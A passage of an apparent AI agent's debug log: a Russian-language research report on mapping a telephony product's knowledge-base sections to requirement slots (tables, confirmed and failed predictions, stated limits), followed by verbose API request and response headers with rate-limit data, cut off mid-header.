\u0441\u043e\u0441\u0442\u043e\u044f\u043d\u0438\u044f. \u0418\u0437\u043c\u0435\u0440\u0435\u043d\u0438\u0435 \u043f\u043e \u0442\u0435\u043b\u0443 \u0440\u0430\u0437\u0434\u0435\u043b\u0430 \u0434\u0430\u043b\u043e \u0431\u044b \u0431\u043e\u043b\u0435\u0435\\n\u0432\u044b\u0441\u043e\u043a\u0443\u044e \u0441\u043f\u0435\u0446\u0438\u0444\u0438\u0447\u043d\u043e\u0441\u0442\u044c \u0438 \u043e\u0441\u0442\u0430\u043b\u043e\u0441\u044c \u0437\u0430 \u0433\u0440\u0430\u043d\u0438\u0446\u0430\u043c\u0438 \u0437\u0430\u043c\u0435\u0440\u0430.\\n\\n## 3. \u041f\u0440\u043e\u0444\u0438\u043b\u0438: \u043f\u0440\u0435\u0434\u0441\u043a\u0430\u0437\u0430\u043d\u0438\u0435 \u043f\u0440\u043e\u0442\u0438\u0432 \u0437\u0430\u043c\u0435\u0440\u0430\\n\\n\u0414\u043e\u043b\u044f \u0440\u0430\u0437\u0434\u0435\u043b\u043e\u0432 \u0441\u043b\u043e\u0442\u0430 \u0432 \u0411\u0417 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u0430, \u043f\u0440\u043e\u0446\u0435\u043d\u0442\u044b:\\n\\n| \u0421\u043b\u043e\u0442 | `mango-cc-manual` `P-SETTINGS` | `mango-lk-manual` `P-SETTINGS` | `speech-analytics` `P-SETTINGS` | `vpbx-api` `P-API` | `sip-trunk` `P-DEVICE` |\\n| --- | ---: | ---: | ---: | ---: | ---: |\\n| `S-GLOSSARY` | 0.7 | 0.9 | 3.9 | 1.2 | 5.1 |\\n| `S-SCOPE` | 43.9 | 41.0 | 46.1 | 58.8 | 33.3 |\\n| `S-FR` | 16.5 | 16.0 | 14.5 | 15.3 | 12.8 |\\n| `S-SETTINGS` | 18.0 | 10.5 | 14.5 | **2.0** | 10.3 |\\n| `S-UI` | 13.7 | 12.3 | 3.9 | **0.4** | **0.0** |\\n| `S-SCENARIO` | 2.2 | 3.4 | 3.9 | 1.2 | 2.6 |\\n| `S-NFR` | 1.4 | 1.1 | \u2014 | \u2014 | \u2014 |\\n| `S-LIMITS` | 2.9 | 4.8 | 1.3 | 2.0 | 2.6 |\\n| `S-INTEGRATION` | 0.7 | 10.0 | 11.8 | **19.2** | **33.3** |\\n\\n### 3.1. \u041f\u043e\u0440\u044f\u0434\u043a\u043e\u0432\u044b\u0435 \u0443\u0442\u0432\u0435\u0440\u0436\u0434\u0435\u043d\u0438\u044f \u2014 \u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0434\u0438\u043b\u0438\u0441\u044c \u0432\u0441\u0435 \u043f\u044f\u0442\u044c\\n\\n\u041f\u043e\u0440\u044f\u0434\u043a\u043e\u0432\u043e\u0435 \u0443\u0442\u0432\u0435\u0440\u0436\u0434\u0435\u043d\u0438\u0435 \u0441\u0440\u0430\u0432\u043d\u0438\u0432\u0430\u0435\u0442 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u044b \u043c\u0435\u0436\u0434\u0443 \u0441\u043e\u0431\u043e\u0439 \u0438 \u043d\u0435 \u0437\u0430\u0432\u0438\u0441\u0438\u0442 \u043e\u0442\\n\u0432\u044b\u0431\u043e\u0440\u0430 \u043f\u043e\u0440\u043e\u0433\u0430; \u043e\u0434\u043d\u0430 \u043f\u0430\u0440\u0430-\u043a\u043e\u043d\u0442\u0440\u043f\u0440\u0438\u043c\u0435\u0440 \u043e\u043f\u0440\u043e\u0432\u0435\u0440\u0433\u0430\u0435\u0442 \u0435\u0433\u043e \u0446\u0435\u043b\u0438\u043a\u043e\u043c. \u041a\u0430\u0436\u0434\u043e\u0435\\n\u043f\u0440\u043e\u0432\u0435\u0440\u0435\u043d\u043e \u043d\u0430 \u0432\u0441\u0435\u0445 \u0442\u0440\u0451\u0445 \u043f\u0430\u0440\u0430\u0445 \u00ab\u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442 \u043f\u0440\u043e\u0444\u0438\u043b\u044f \u0441\u043b\u0435\u0432\u0430 \u00d7 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442 `P-SETTINGS`\u00bb.\\n\\n| \u0423\u0442\u0432\u0435\u0440\u0436\u0434\u0435\u043d\u0438\u0435 | \u0420\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442 |\\n| --- | --- |\\n| \u0434\u043e\u043b\u044f `S-UI` \u0443 `P-API` \u043d\u0438\u0436\u0435, \u0447\u0435\u043c \u0443 `P-SETTINGS` | \u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0434\u0438\u043b\u043e\u0441\u044c, 3 \u043f\u0430\u0440\u044b \u0438\u0437 3 |\\n| \u0434\u043e\u043b\u044f `S-UI` \u0443 `P-DEVICE` \u043d\u0438\u0436\u0435, \u0447\u0435\u043c \u0443 `P-SETTINGS` | \u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0434\u0438\u043b\u043e\u0441\u044c, 3 \u0438\u0437 3 |\\n| \u0434\u043e\u043b\u044f `S-INTEGRATION` \u0443 `P-API` \u0432\u044b\u0448\u0435, \u0447\u0435\u043c \u0443 `P-SETTINGS` | \u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0434\u0438\u043b\u043e\u0441\u044c, 3 \u0438\u0437 3 |\\n| \u0434\u043e\u043b\u044f `S-INTEGRATION` \u0443 `P-DEVICE` \u0432\u044b\u0448\u0435, \u0447\u0435\u043c \u0443 `P-SETTINGS` | \u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0434\u0438\u043b\u043e\u0441\u044c, 3 \u0438\u0437 3 |\\n| \u0434\u043e\u043b\u044f `S-SETTINGS` \u0443 `P-API` \u043d\u0438\u0436\u0435, \u0447\u0435\u043c \u0443 `P-SETTINGS` | \u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0434\u0438\u043b\u043e\u0441\u044c, 3 \u0438\u0437 3 |\\n\\n\u041f\u0440\u043e\u0444\u0438\u043b\u044c \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u0430, \u043d\u0430\u0437\u043d\u0430\u0447\u0435\u043d\u043d\u044b\u0439 \u0434\u043e \u0437\u0430\u043c\u0435\u0440\u0430 \u043f\u043e \u0442\u0430\u0431\u043b\u0438\u0446\u0435\\n[\u00a76 `20-taxonomy.md`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/research/ba-requirements/artifact-micro-structure/20-taxonomy.md),\\n\u043f\u0440\u0435\u0434\u0441\u043a\u0430\u0437\u044b\u0432\u0430\u0435\u0442 \u043d\u0430\u0431\u043b\u044e\u0434\u0430\u0435\u043c\u043e\u0435 \u0440\u0430\u0441\u043f\u0440\u0435\u0434\u0435\u043b\u0435\u043d\u0438\u0435 \u0441\u043b\u043e\u0442\u043e\u0432 \u0432 \u043d\u0435\u0437\u0430\u0432\u0438\u0441\u0438\u043c\u043e\u043c \u043a\u043e\u0440\u043f\u0443\u0441\u0435 \u2014 \u0432 \u0411\u0417,\\n\u0430 \u043d\u0435 \u0432 `runs/`, \u043d\u0430 \u043a\u043e\u0442\u043e\u0440\u043e\u043c \u0441\u0442\u0440\u043e\u0438\u043b\u0441\u044f \u0441\u043b\u043e\u0432\u0430\u0440\u044c. \u042d\u0442\u043e \u0438 \u0435\u0441\u0442\u044c \u0442\u0440\u0435\u0431\u0443\u0435\u043c\u0430\u044f\\n\u043f\u0440\u0430\u043a\u0442\u0438\u043a\u043e-\u043f\u0440\u0438\u0433\u043e\u0434\u043d\u043e\u0441\u0442\u044c: \u043f\u0440\u0430\u0432\u0438\u043b\u043e `R-3` (\u00ab\u043f\u0440\u043e\u0444\u0438\u043b\u044c \u0443\u043f\u0440\u0430\u0432\u043b\u044f\u0435\u0442 \u0437\u0430\u043f\u043e\u043b\u043d\u0435\u043d\u043d\u043e\u0441\u0442\u044c\u044e \u0441\u043b\u043e\u0442\u0430,\\n\u0430 \u043d\u0435 \u0441\u043e\u0441\u0442\u0430\u0432\u043e\u043c \u0441\u043a\u0435\u043b\u0435\u0442\u0430\u00bb) \u0438\u043c\u0435\u0435\u0442 \u043d\u0430\u0431\u043b\u044e\u0434\u0430\u0435\u043c\u043e\u0435 \u0441\u043b\u0435\u0434\u0441\u0442\u0432\u0438\u0435, \u0438 \u0441\u043b\u0435\u0434\u0441\u0442\u0432\u0438\u0435 \u043d\u0430\u0431\u043b\u044e\u0434\u0430\u0435\u0442\u0441\u044f.\\n\\n### 3.2. \u0414\u0432\u0430 \u0430\u0431\u0441\u043e\u043b\u044e\u0442\u043d\u044b\u0445 \u043f\u0440\u0435\u0434\u0441\u043a\u0430\u0437\u0430\u043d\u0438\u044f **\u043d\u0435** \u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0434\u0438\u043b\u0438\u0441\u044c\\n\\n\u041f\u043e\u0440\u043e\u0433\u043e\u0432\u044b\u0435 \u043f\u0440\u0435\u0434\u0441\u043a\u0430\u0437\u0430\u043d\u0438\u044f \u0437\u0430\u0434\u0430\u0432\u0430\u043b\u0438\u0441\u044c \u0434\u043e \u0437\u0430\u043c\u0435\u0440\u0430 \u0438 \u043e\u0441\u0442\u0430\u0432\u043b\u0435\u043d\u044b \u0432 \u043a\u043e\u0434\u0435 \u0432\u043c\u0435\u0441\u0442\u0435 \u0441\\n\u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u043e\u043c.\\n\\n| \u041f\u0440\u0435\u0434\u0441\u043a\u0430\u0437\u0430\u043d\u0438\u0435 | \u0417\u0430\u043c\u0435\u0440 | \u0412\u044b\u0432\u043e\u0434 |\\n| --- | --- | --- |\\n| `S-INTEGRATION` \u0443 `P-API` \u2265 30 % | 19.2 % | \u043f\u043e\u0440\u043e\u0433 \u0437\u0430\u0432\u044b\u0448\u0435\u043d: \u0438\u043d\u0442\u0435\u0433\u0440\u0430\u0446\u0438\u043e\u043d\u043d\u0430\u044f \u043b\u0435\u043a\u0441\u0438\u043a\u0430 \u0432 \u0437\u0430\u0433\u043e\u043b\u043e\u0432\u043a\u0435 \u043c\u0435\u0442\u043e\u0434\u0430 API \u043e\u0442\u0441\u0443\u0442\u0441\u0442\u0432\u0443\u0435\u0442 (\u00ab\u041e\u0442\u043f\u0440\u0430\u0432\u043a\u0430 SMS\u00bb, \u00ab\u041f\u0435\u0440\u0435\u0432\u043e\u0434 \u0432\u044b\u0437\u043e\u0432\u0430\u00bb), \u043e\u043d\u0430 \u0432 \u0442\u0435\u043b\u0435 \u0440\u0430\u0437\u0434\u0435\u043b\u0430 |\\n| `S-UI` \u0443 `P-SETTINGS` \u2265 10 % | 3.9 % \u0443 `speech-analytics` | `analytics-reporting` \u0432\u0435\u0434\u0451\u0442 \u0441\u0435\u0431\u044f \u0431\u043b\u0438\u0436\u0435 \u043a `P-NO-SETTINGS`: \u0438\u043d\u0442\u0435\u0440\u0444\u0435\u0439\u0441 \u0435\u0441\u0442\u044c, \u043d\u043e \u043e\u043f\u0438\u0441\u0430\u043d \u043a\u0430\u043a \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442, \u0430 \u043d\u0435 \u043a\u0430\u043a \u043d\u0430\u0441\u0442\u0440\u0430\u0438\u0432\u0430\u0435\u043c\u044b\u0439 \u044d\u043a\u0440\u0430\u043d |\\n\\n\u0412\u0442\u043e\u0440\u043e\u0435 \u0440\u0430\u0441\u0445\u043e\u0436\u0434\u0435\u043d\u0438\u0435 \u0438\u043c\u0435\u0435\u0442 \u043f\u0440\u044f\u043c\u043e\u0435 \u0441\u043b\u0435\u0434\u0441\u0442\u0432\u0438\u0435 \u0434\u043b\u044f \u043d\u043e\u0440\u043c\u044b: **\u0441\u0442\u0440\u043e\u043a\u0430\\n`analytics \u2192 P-NO-SETTINGS` / `ai-automation \u2192 P-SETTINGS` \u0432 \u0442\u0430\u0431\u043b\u0438\u0446\u0435 \u043f\u0440\u043e\u0444\u0438\u043b\u0435\u0439\\n\u043f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e \u043d\u0435 \u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0436\u0434\u0430\u0435\u0442\u0441\u044f \u0437\u0430\u043c\u0435\u0440\u043e\u043c** \u0438 \u043e\u0441\u0442\u0430\u0451\u0442\u0441\u044f \u043f\u0440\u0435\u0434\u043c\u0435\u0442\u043e\u043c \u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0436\u0434\u0435\u043d\u0438\u044f\\n\u0432\u043b\u0430\u0434\u0435\u043b\u044c\u0446\u0430 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u0430 (\u0437\u0430\u0434\u0430\u0447\u0430 `B-143`). \u041f\u0435\u0440\u0432\u043e\u0435 \u0440\u0430\u0441\u0445\u043e\u0436\u0434\u0435\u043d\u0438\u0435 \u2014 \u0441\u0432\u043e\u0439\u0441\u0442\u0432\u043e \u0438\u0437\u043c\u0435\u0440\u0438\u0442\u0435\u043b\u044f\\n\u043f\u043e \u0437\u0430\u0433\u043e\u043b\u043e\u0432\u043a\u0443, \u0430 \u043d\u0435 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u0430, \u0438 \u043d\u0430 \u043f\u043e\u0440\u044f\u0434\u043a\u043e\u0432\u044b\u0435 \u0443\u0442\u0432\u0435\u0440\u0436\u0434\u0435\u043d\u0438\u044f \u043d\u0435 \u0432\u043b\u0438\u044f\u0435\u0442.\\n\\n## 4. \u0427\u0442\u043e \u044d\u0442\u043e\u0442 \u0437\u0430\u043c\u0435\u0440 \u043d\u0435 \u043f\u043e\u043a\u0430\u0437\u044b\u0432\u0430\u0435\u0442\\n\\n1. **\u041d\u0435 \u043f\u043e\u043a\u0430\u0437\u044b\u0432\u0430\u0435\u0442 \u043a\u0430\u0447\u0435\u0441\u0442\u0432\u0430 \u0438\u0437\u0432\u043b\u0435\u0447\u0435\u043d\u0438\u044f.** \u041f\u0440\u043e\u0432\u0435\u0440\u044f\u043b\u043e\u0441\u044c, \u0447\u0442\u043e \u0440\u0430\u0437\u0434\u0435\u043b \u0411\u0417 \u0438\u043c\u0435\u0435\u0442\\n   \u0441\u043b\u043e\u0442-\u0430\u0434\u0440\u0435\u0441\u0430\u0442, \u0430 \u043d\u0435 \u0447\u0442\u043e \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u043d\u0438\u0435 \u0440\u0430\u0437\u0434\u0435\u043b\u0430 \u043a\u043e\u0440\u0440\u0435\u043a\u0442\u043d\u043e \u043f\u0435\u0440\u0435\u043d\u0435\u0441\u0451\u0442\u0441\u044f \u0432\\n   \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u0435.\\n2. **\u041d\u0435 \u043f\u043e\u043a\u0430\u0437\u044b\u0432\u0430\u0435\u0442 \u0434\u043e\u0441\u0442\u0430\u0442\u043e\u0447\u043d\u043e\u0441\u0442\u0438 \u0441\u043b\u043e\u0432\u0430\u0440\u044f \u0434\u043b\u044f \u0432\u0441\u0435\u0445 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432 \u041c\u0430\u043d\u0433\u043e.** \u041f\u044f\u0442\u044c\\n   \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u043e\u0432 \u0438\u0437 \u0448\u0435\u0441\u0442\u043d\u0430\u0434\u0446\u0430\u0442\u0438 \u0432 `kb/processed/`; \u0434\u043e\u043c\u0435\u043d\u044b `hardware` \u0438 `security`\\n   \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u044b\u043c\u0438 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0430\u043c\u0438 \u0411\u0417 \u043d\u0435 \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u043b\u0435\u043d\u044b \u0438 \u043f\u043e\u043a\u0440\u044b\u0442\u044b \u0442\u043e\u043b\u044c\u043a\u043e \u0441\u0438\u043d\u0442\u0435\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u043c\u0438\\n   \u044d\u0442\u0430\u043b\u043e\u043d\u0430\u043c\u0438.\\n3. **\u041e\u0442\u043e\u0431\u0440\u0430\u0436\u0435\u043d\u0438\u0435 \u043b\u0435\u043a\u0441\u0438\u0447\u0435\u0441\u043a\u043e\u0435 \u0438 \u043f\u043e \u0437\u0430\u0433\u043e\u043b\u043e\u0432\u043a\u0443.** \u0420\u0430\u0437\u0434\u0435\u043b \u0441\u043e \u0441\u043c\u0435\u0448\u0430\u043d\u043d\u044b\u043c\\n   \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u043d\u0438\u0435\u043c \u043f\u043e\u043b\u0443\u0447\u0430\u0435\u0442 \u043e\u0434\u0438\u043d \u0441\u043b\u043e\u0442 \u043f\u043e \u043f\u0435\u0440\u0432\u043e\u043c\u0443 \u0441\u0440\u0430\u0431\u043e\u0442\u0430\u0432\u0448\u0435\u043c\u0443 \u043f\u0440\u0430\u0432\u0438\u043b\u0443, \u043f\u043e\u044d\u0442\u043e\u043c\u0443\\n   \u0441\u043c\u0435\u0448\u0435\u043d\u0438\u0435 \u0438\u0437\u043c\u0435\u0440\u0435\u043d\u0438\u0435\u043c \u0437\u0430\u043d\u0438\u0436\u0430\u0435\u0442\u0441\u044f, \u0430 \u043d\u0435 \u0437\u0430\u0432\u044b\u0448\u0430\u0435\u0442\u0441\u044f.\\n4. **`sip-trunk` \u043c\u0430\u043b** \u2014 39 \u0440\u0430\u0437\u0434\u0435\u043b\u043e\u0432, \u0438\u0437 \u043d\u0438\u0445 13 \u0448\u0443\u043c \u0440\u0430\u0437\u0431\u043e\u0440\u0430. \u0423\u0442\u0432\u0435\u0440\u0436\u0434\u0435\u043d\u0438\u044f \u043e\\n   `P-DEVICE` \u043e\u043f\u0438\u0440\u0430\u044e\u0442\u0441\u044f \u043d\u0430 26 \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u0442\u0435\u043b\u044c\u043d\u044b\u0445 \u0441\u0442\u0440\u043e\u043a \u0438 \u044f\u0432\u043b\u044f\u044e\u0442\u0441\u044f \u043d\u0430\u0431\u043b\u044e\u0434\u0435\u043d\u0438\u0435\u043c, \u0430\\n   \u043d\u0435 \u0441\u0442\u0430\u0442\u0438\u0441\u0442\u0438\u043a\u043e\u0439.\",\n[2026-09-29T07:45:39.203Z] [INFO]         \"is_error\": false\n[2026-09-29T07:45:39.203Z] [INFO]       }\n[2026-09-29T07:45:39.203Z] [INFO]     ]\n[2026-09-29T07:45:39.203Z] [INFO]   },\n[2026-09-29T07:45:39.203Z] [INFO]   \"parent_tool_use_id\": \"toolu_01GFx7YR63TmqWwLsYXBMEow\",\n[2026-09-29T07:45:39.203Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:45:39.203Z] [INFO]   \"uuid\": \"7a1c78b4-83e4-41e2-bf0b-c155340f946a\",\n[2026-09-29T07:45:39.203Z] [INFO]   \"timestamp\": \"2026-09-29T07:45:39.188Z\",\n[2026-09-29T07:45:39.203Z] [INFO]   \"subagent_type\": \"general-purpose\",\n[2026-09-29T07:45:39.203Z] [INFO]   \"task_description\": \"Analyze ba-requirements research\"\n[2026-09-29T07:45:39.203Z] [INFO] }\n[2026-09-29T07:45:39.257Z] [STDOUT] [log_e53b6a] sending request {\n[2026-09-29T07:45:39.260Z] [STDOUT]   method: \"POST\",\n[2026-09-29T07:45:39.262Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:45:39.265Z] [STDOUT]   options: {\n[2026-09-29T07:45:39.267Z] [STDOUT]     method: \"post\",\n[2026-09-29T07:45:39.275Z] [STDOUT]     path: \"/v1/messages?beta=true\",\n[2026-09-29T07:45:39.282Z] [STDOUT]     body: {\n[2026-09-29T07:45:39.291Z] [STDOUT]       model: \"claude-opus-5-5\",\n[2026-09-29T07:45:39.295Z] [STDOUT]       messages: [Array ...],\n[2026-09-29T07:45:39.298Z] [STDOUT]       system: [Array ...],\n[2026-09-29T07:45:39.299Z] [STDOUT]       tool_choice: undefined,\n[2026-09-29T07:45:39.302Z] [STDOUT]       metadata: [Object ...],\n[2026-09-29T07:45:39.307Z] [STDOUT]       max_tokens: 128000,\n[2026-09-29T07:45:39.311Z] [STDOUT]       thinking: [Object ...],\n[2026-09-29T07:45:39.313Z] [STDOUT]       context_management: [Object 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\"x-stainless-os\": \"Linux\",\n[2026-09-29T07:45:39.482Z] [STDOUT]     \"x-stainless-package-version\": \"0.112.1\",\n[2026-09-29T07:45:39.486Z] [STDOUT]     \"x-stainless-retry-count\": \"0\",\n[2026-09-29T07:45:39.491Z] [STDOUT]     \"x-stainless-runtime\": \"node\",\n[2026-09-29T07:45:39.495Z] [STDOUT]     \"x-stainless-runtime-version\": \"v26.3.0\",\n[2026-09-29T07:45:39.499Z] [STDOUT]     \"x-stainless-timeout\": \"600\",\n[2026-09-29T07:45:39.506Z] [STDOUT]   },\n[2026-09-29T07:45:39.513Z] [STDOUT] }\n[2026-09-29T07:45:39.730Z] [STDOUT] [log_6e34dc, request-id: \"req_011CfXMmnbCXWPzBFuaeDPSk\"] post https://api.anthropic.com/v1/messages?beta=true succeeded with status 200 in 998ms\n[2026-09-29T07:45:39.744Z] [STDOUT] [log_6e34dc] response start {\n[2026-09-29T07:45:39.754Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:45:39.760Z] [STDOUT]   status: 200,\n[2026-09-29T07:45:39.766Z] [STDOUT]   headers: {\n[2026-09-29T07:45:39.769Z] [STDOUT] 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response 200 https://api.anthropic.com/v1/messages?beta=true Headers {\n[2026-09-29T07:45:39.971Z] [STDOUT]   \"date\": \"Tue, 29 Sep 2026 07:45:39 GMT\",\n[2026-09-29T07:45:39.976Z] [STDOUT]   \"content-type\": \"text/event-stream; charset=utf-8\",\n[2026-09-29T07:45:39.985Z] [STDOUT]   \"transfer-encoding\": \"chunked\",\n[2026-09-29T07:45:39.999Z] [STDOUT]   \"connection\": \"keep-alive\",\n[2026-09-29T07:45:40.004Z] [STDOUT]   \"cache-control\": \"no-cache\",\n[2026-09-29T07:45:40.010Z] [STDOUT]   \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\",\n[2026-09-29T07:45:40.020Z] [STDOUT]   \"content-encoding\": \"gzip\",\n[2026-09-29T07:45:40.030Z] [STDOUT]   \"vary\": \"Accept-Encoding\",\n[2026-09-29T07:45:40.043Z] [STDOUT]   \"content-security-policy\": \"default-src 'none'; frame-ancestors 'none'\",\n[2026-09-29T07:45:40.054Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-status\": \"allowed\",\n[2026-09-29T07:45:40.062Z] [STDOUT]   \"anthropic-ratelimit-unified-representative-claim\": \"seven_day\",\n[2026-09-29T07:45:40.066Z] [STDOUT]   \"anthropic-ratelimit-unified-overage-status\": \"rejected\",\n[2026-09-29T07:45:40.071Z] [STDOUT]   \"anthropic-ratelimit-unified-reset\": \"1790679600\",\n[2026-09-29T07:45:40.084Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-utilization\": \"0.36\",\n[2026-09-29T07:45:40.095Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-reset\": \"1790679600\",\n[2026-09-29T07:45:40.101Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-reset\": \"1790678400\",\n[2026-09-29T07:45:40.132Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-status\": \"allowed_warning\",\n[2026-09-29T07:45:40.153Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-surpassed-threshold\": \"0.75\",\n[2026-09-29T07:45:40.157Z] [STDOUT]   \"anthropic-ratelimit-unified-fallback-percentage\": \"0.5\",\n[2026-09-29T07:45:40.163Z] [STDOUT]   \"anthropic-ratelimit-unified-overage-disabled-reason\": \"org_level_disabled\",\n[2026-09-29T07:45:40.167Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-utilization\": \"0.77\",\n[2026-09-29T07:45:40.174Z] [STDOUT]   \"anthropic-ratelimit-unified-status\": \"allowed_warning\",\n[2026-09-29T07:45:40.180Z] [STDOUT]   \"request-id\": \"req_011CfXMmnbCXWPzBFuaeDPSk\",\n[2026-09-29T07:45:40.198Z] [STDOUT]   \"traceresponse\": \"00-121ed43b81aca1cfe8e35bd148697231-7aa8675903d92937-01\",\n[2026-09-29T07:45:40.209Z] [STDOUT]   \"anthropic-organization-id\": \"ebc2ac93-f86f-4d15-aff3-de8830d8d789\",\n[2026-09-29T07:45:40.216Z] [STDOUT]   \"anthropic-workspace-id\": \"wrkspc_0117gBnPr68DBsCrmom3Bxq6\",\n[2026-09-29T07:45:40.221Z] [STDOUT]   \"server\": \"cloudflare\",\n[2026-09-29T07:45:40.226Z] [STDOUT]   \"cf-cache-status\": \"DYNAMIC\",\n[2026-09-29T07:45:40.236Z] [STDOUT]   \"x-robots-tag\": \"none\",\n[2026-09-29T07:45:40.243Z] [STDOUT]   \"cf-ray\": \"a4295e991e554d8b-FRA\",\n[2026-09-29T07:45:40.247Z] [STDOUT] } ReadableStream { locked: false, state: 'readable', supportsBYOB: false }\n[2026-09-29T07:45:40.251Z] [STDOUT] [log_6e34dc] response parsed {\n[2026-09-29T07:45:40.256Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:45:40.261Z] [STDOUT]   status: 200,\n[2026-09-29T07:45:40.267Z] [STDOUT]   body: X {\n[2026-09-29T07:45:40.270Z] [STDOUT]     iterator: [AsyncGeneratorFunction: i],\n[2026-09-29T07:45:40.280Z] [STDOUT]     controller: AbortController {\n[2026-09-29T07:45:40.283Z] [STDOUT]       signal: [AbortSignal ...],\n[2026-09-29T07:45:40.293Z] [STDOUT]       abort: [Function: abort],\n[2026-09-29T07:45:40.296Z] [STDOUT]     },\n[2026-09-29T07:45:40.299Z] [STDOUT]     [Symbol(Symbol.asyncIterator)]: [Function],\n[2026-09-29T07:45:40.305Z] [STDOUT]     tee: [Function: tee],\n[2026-09-29T07:45:40.308Z] [STDOUT]     toReadableStream: [Function: toReadableStream],\n[2026-09-29T07:45:40.320Z] [STDOUT]   },\n[2026-09-29T07:45:40.329Z] [STDOUT]   durationMs: 999,\n[2026-09-29T07:45:40.334Z] [STDOUT] }\n[2026-09-29T07:45:40.337Z] [STDOUT] [log_e53b6a, request-id: \"req_011CfXMmpmfQBnHj9di3Ht5P\"] post https://api.anthropic.com/v1/messages?beta=true succeeded with status 200 in 948ms\n[2026-09-29T07:45:40.342Z] [STDOUT] [log_e53b6a] response start {\n[2026-09-29T07:45:40.347Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:45:40.356Z] [STDOUT]   status: 200,\n[2026-09-29T07:45:40.361Z] [STDOUT]   headers: {\n[2026-09-29T07:45:40.365Z] [STDOUT]     \"anthropic-organization-id\": \"ebc2ac93-f86f-4d15-aff3-de8830d8d789\",\n[2026-09-29T07:45:40.370Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-reset\": \"1790678400\",\n[2026-09-29T07:45:40.378Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-status\": \"allowed\",\n[2026-09-29T07:45:40.382Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-utilization\": \"0.36\",\n[2026-09-29T07:45:40.388Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-reset\": \"1790679600\",\n[2026-09-29T07:45:40.390Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-status\": \"allowed_warning\",\n[2026-09-29T07:45:40.395Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-surpassed-threshold\": \"0.75\",\n[2026-09-29T07:45:40.400Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-utilization\": \"0.77\",\n[2026-09-29T07:45:40.404Z] [STDOUT]     \"anthropic-ratelimit-unified-fallback-percentage\": \"0.5\",\n[2026-09-29T07:45:40.407Z] [STDOUT]     \"anthropic-ratelimit-unified-overage-disabled-reason\": \"org_level_disabled\",\n[2026-09-29T07:45:40.409Z] [STDOUT]     \"anthropic-ratelimit-unified-overage-status\": \"rejected\",\n[2026-09-29T07:45:40.411Z] [STDOUT]     \"anthropic-ratelimit-unified-representative-claim\": \"seven_day\",\n[2026-09-29T07:45:40.415Z] [STDOUT]     \"anthropic-ratelimit-unified-reset\": \"1790679600\",\n[2026-09-29T07:45:40.423Z] [STDOUT]     \"anthropic-ratelimit-unified-status\": \"allowed_warning\",\n[2026-09-29T07:45:40.427Z] [STDOUT]     \"anthropic-workspace-id\": \"wrkspc_0117gBnPr68DBsCrmom3Bxq6\",\n[2026-09-29T07:45:40.429Z] [STDOUT]     \"cache-control\": \"no-cache\",\n[2026-09-29T07:45:40.433Z] [STDOUT]     \"cf-cache-status\": \"DYNAMIC\",\n[2026-09-29T07:45:40.437Z] [STDOUT]     \"cf-ray\": \"a4295e9c6fcb29ad-FRA\",\n[2026-09-29T07:45:40.445Z] [STDOUT]     connection: \"keep-alive\",\n[2026-09-29T07:45:40.449Z] [STDOUT]     \"content-encoding\": \"gzip\",\n[2026-09-29T07:45:40.452Z] [STDOUT]     \"content-security-policy\": \"default-src 'none'; frame-ancestors 'none'\",\n[2026-09-29T07:45:40.456Z] [STDOUT]     \"content-type\": \"text/event-stream; charset=utf-8\",\n[2026-09-29T07:45:40.461Z] [STDOUT]     date: \"Tue, 29 Sep 2026 07:45:40 GMT\",\n[2026-09-29T07:45:40.466Z] [STDOUT]     \"request-id\": \"req_011CfXMmpmfQBnHj9di3Ht5P\",\n[2026-09-29T07:45:40.468Z] [STDOUT]     server: \"cloudflare\",\n[2026-09-29T07:45:40.471Z] [STDOUT]     